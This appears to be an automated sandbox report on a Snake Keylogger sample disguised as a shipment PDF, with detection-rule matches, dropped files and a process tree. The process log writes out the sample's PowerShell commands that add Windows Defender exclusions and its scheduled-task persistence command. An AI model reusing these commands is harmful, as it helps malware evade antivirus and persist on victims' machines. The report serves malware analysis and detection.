Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Shipment 990847575203.pdf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: FZcXKpA.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jynCmXCF47q9Whp0rl.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jynCmXCF47q9Whp0rl.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jQtbrjIkx2d5oocfLW.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/15@6/6

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File created: C:\Users\user\AppData\Roaming\FZcXKpA.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1672:120:WilError_03

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmp56D.tmp

Jump to behavior

Source: Shipment 990847575203.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Shipment 990847575203.pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002B84000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000032FA000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003308000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.000000000332E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.000000000333A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Shipment 990847575203.pdf.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File read: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FZcXKpA.exe C:\Users\user\AppData\Roaming\FZcXKpA.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
